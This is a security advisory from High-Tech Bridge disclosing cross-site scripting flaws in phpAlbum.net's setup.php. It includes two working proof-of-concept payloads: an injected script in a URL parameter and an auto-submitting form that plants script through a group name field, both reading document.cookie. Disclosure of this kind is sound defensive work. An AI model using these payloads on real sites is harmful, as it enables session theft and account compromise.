[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22922: XSS vulnerabilities in phpAlbum.net



Vulnerability ID: HTB22922
Reference: 
http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ ) 
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "setup.php" script to properly 
sanitize user-supplied input in "var3", "p_new_group_name" variables. 
Successful exploitation of this vulnerability could result in a compromise of 
the application, theft of cookie-based authentication credentials, disclosure 
or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:
1.

http://host/main.php?cmd=setup&var1=user&var3=1";><script>alert(document.cookie)</script>


2.

<form action="http://host/main.php"; method="post" name="main">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="groups">
<input type="hidden" name="var2" value="add">
<input type="hidden" name="p_new_group_name" 
value='1"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>